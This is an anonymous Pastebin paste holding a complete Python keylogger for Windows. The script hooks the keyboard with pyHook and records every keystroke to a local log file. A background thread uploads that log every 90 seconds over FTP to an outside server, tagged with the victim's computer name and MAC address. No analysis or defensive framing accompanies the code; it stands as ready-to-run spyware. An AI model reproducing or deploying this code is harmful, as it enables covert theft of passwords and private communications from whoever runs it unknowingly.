Guest User

Untitled

a guest
Aug 10th, 2018
80
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.24 KB | None | 0 0
  1. import os
  2. import threading
  3. import time
  4. import pythoncom
  5. import pyHook
  6. import logging
  7. from ftplib import FTP
  8. from uuid import getnode as get_mac
  9.  
  10. log_filename = './log.txt'
  11.  
  12. class InfoSender(threading.Thread):
  13.     def __init__(self, log, wait=20.0):
  14.         threading.Thread.__init__(self)
  15.         self.log = log
  16.         self.wait = wait
  17.         self.id = os.getenv('COMPUTERNAME')+"-"+str(get_mac())
  18.  
  19.     def run(self):
  20.         while 1==1:
  21.             ftp = FTP(host='ftp.host.co', user='ftp@host.co', passwd='')
  22.             ftp.cwd('/incoming/logs/')
  23.             log_read = open(self.log, 'r')
  24.             ftp.storlines("STOR "+self.id+".txt", log_read)
  25.             log_read.close()
  26.             ftp.quit()
  27.             ftp.close()
  28.             time.sleep(self.wait)
  29.                
  30.  
  31. class KeyLogger(threading.Thread):
  32.     def __init__(self, log):
  33.         threading.Thread.__init__(self)
  34.         self.log = log
  35.         self.logging = logging.basicConfig(filename=self.log, level=logging.DEBUG, format='%(message)s')
  36.  
  37.     def run(self):
  38.         hm = pyHook.HookManager()
  39.         hm.KeyDown = self.OnKeyPress
  40.         hm.HookKeyboard()
  41.         pythoncom.PumpMessages()
  42.  
  43.     def OnKeyPress(self, event):
  44.         logging.debug(chr(event.Ascii))
  45.  
  46.  
  47. if __name__ == '__main__':
  48.     keylog = KeyLogger(log=log_filename)
  49.     info_send = InfoSender(log=log_filename, wait=90.0)
  50.     keylog.start()
  51.     info_send.start()
Add Comment
Please, Sign In to add comment